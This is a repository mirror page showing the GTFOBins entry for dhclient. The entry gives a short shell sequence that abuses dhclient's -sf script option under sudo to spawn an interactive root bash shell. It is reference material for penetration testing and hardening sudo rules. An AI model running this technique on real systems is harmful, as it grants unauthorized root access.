This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-04 02:38:43 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
9bd407370e606348a5d361cb5763e6fc3d13a340
GTFOBins.github.io
/
_gtfobins
/
dhclient.md
Nicolas Schickert
9bd407370e
Create dhclient.md
2024-08-20 15:00:01 +02:00
330 B
Raw
Blame
History
functions
functions
sudo
description
code
The below technique utilizies `dhclient`'s script file option (`-sf`) to execute arbitrary commands with `sudo`.
cat > /tmp/script.sh << EOF #!/bin/bash bash -i EOF chmod +x /tmp/script.sh sudo dhclient -sf /tmp/script.sh
Reference in New Issue
View Git Blame
Copy Permalink